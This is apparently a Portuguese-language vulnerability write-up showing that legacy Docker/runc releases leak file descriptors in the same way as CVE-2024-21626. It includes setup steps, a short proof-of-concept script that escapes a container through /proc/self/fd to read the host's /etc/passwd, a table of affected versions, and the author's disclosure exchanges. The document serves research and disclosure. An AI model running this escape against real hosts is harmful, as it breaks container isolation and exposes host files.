
Analisa e explora uma vulnerabilidade de escape de contêiner em versões legadas de Docker/runc, demonstrando vazamento de fd para acessar o sistema de arquivos do host, com scripts de configuração e teste.
Durante minha análise sobre CVE-2024-21626 descobri que outros componentes antigos do Docker são vulneráveis a vazamento de fd (que não é mencionado no aviso de segurança GHSA-xr7r-f8xq-vfvv). Leia meu artigo completo para uma explicação detalhada aqui.
Durante a instalação, não marque a opção para baixar atualizações do sistema.
Acesse https://download.docker.com/linux/static/stable/x86_64/ e baixe a versão antiga docker-X.Y.Z-ce.tgz para testar
Extraia, copie o conteúdo para o caminho /usr/bin e execute o daemon do Docker.
cd Downloads/
tar xzvf <docker-X.Y.Z-ce.tgz>
sudo cp docker/* /usr/bin/
sudo dockerd &
sudo docker version
containerd --version
uname -r
Nas versões antigas, temos docker-runc em vez de runc. Portanto, verifique:
ls -la /usr/bin | grep docker
-rwxr-xr-x 1 root root 14128576 mar 19 10:54 docker
-rwxr-xr-x 1 root root 8932648 mar 19 10:54 docker-containerd
-rwxr-xr-x 1 root root 8381448 mar 19 10:54 docker-containerd-ctr
-rwxr-xr-x 1 root root 3047368 mar 19 10:54 docker-containerd-shim
-rwxr-xr-x 1 root root 39989264 mar 19 10:54 dockerd
-rwxr-xr-x 1 root root 772400 mar 19 10:54 docker-init
-rwxr-xr-x 1 root root 2534781 mar 19 10:54 docker-proxy
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
ls -la /usr/bin| grep runc
-rwxr-xr-x 1 root root 10232 mar 18 2018 bdftruncate
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
-rwxr-xr-x 1 root root 35000 gen 18 2018 runcon
-rwxr-xr-x 1 root root 39096 gen 18 2018 truncate
Verifique a versão do doker-runc/runc
runc --version
docker-runc -v
Execute checkVulnerability.sh e veja se o arquivo é impresso no terminal
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
echo ""
done
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git
# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
Para este exemplo, usei a versão docker-17.03.1-ce.

Para este exemplo, usei a versão docker-17.03.1-ce.

Abaixo estão os resultados da minha análise, organizados por versão do Docker e a versão associada do runc utilizada.
| Versão do Docker | Versão do runc | Número do fd vazado |
|---|---|---|
| docker-18.09.0.tgz | 1.0.0-rc5+dev | ❌ |
Aqui está a captura de tela mostrando as três diferentes versões vulneráveis.
| 1.0.0-rc2 | 1.0.0-rc3 | 1.0.0-rc4+dev |
|---|---|---|
![]() | ![]() | ![]() |
Assim como no CVE-2024-21626, os diferentes tipos de ataques ainda são possíveis.
Esta vulnerabilidade é bastante diferente do CVE-2024-21626 porque:
openat2./run/runc/<container>/, que contém o estado dos contêineres em execução, em vez do diretório /sys/fs/cgroup do host.O que descobri é que versões antigas também são vulneráveis à mesma técnica de ataque. Embora a vulnerabilidade em si seja diferente, o resultado é o mesmo: obter acesso ao sistema de arquivos do host. A principal lição é não confiar apenas em avisos de segurança - teste tudo minuciosamente. Entenda completamente o CVE, como ele funciona, experimente em um ambiente seguro e explore casos extremos.
Tentei contatar [email protected], [email protected] e tentar abrir um CVE. Recebi as seguintes respostas:
| Versão do Docker | Versão do docker-runc | Número do fd vazado |
|---|
| docker-17.03.1-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.03.2-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.06.0-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.1-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.2-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.09.0-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.09.1-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.12.0-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-17.12.1-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-18.03.0-ce.tgz | ❌ | |
| docker-18.06.3-ce.tgz | 1.0.0-rc5+dev | ❌ |
| Solicitação | Resposta |
|---|
| [email protected] (19/03/24) | As versões que você listou são todas versões EOL do software (~7 anos) e não são mais corrigidas ou mantidas pela Docker. Se você tiver uma preocupação com as versões ou a redação listadas no aviso existente GHSA-xr7r-f8xq-vfvv ("versões afetadas: >= 1.0.0-rc93, <= 1.1.11"), o canal correto para relatar deve ser a caixa postal de segurança do OCI: https://github.com/opencontainers/.github/blob/main/SECURITY.md Obrigado por entrar em contato. Informe-nos se houver mais alguma coisa que possamos fazer. |
| [email protected] (20/03/24) | sem resposta |
| CVE-MITRE (15/05/2024) | Normalmente não atribuímos IDs CVE a problemas que existem apenas em candidatos a lançamento. https://www.cve.org/CVERecord?id=CVE-2024-21626 afetou versões lançadas do runc, como a versão 1.1.11. |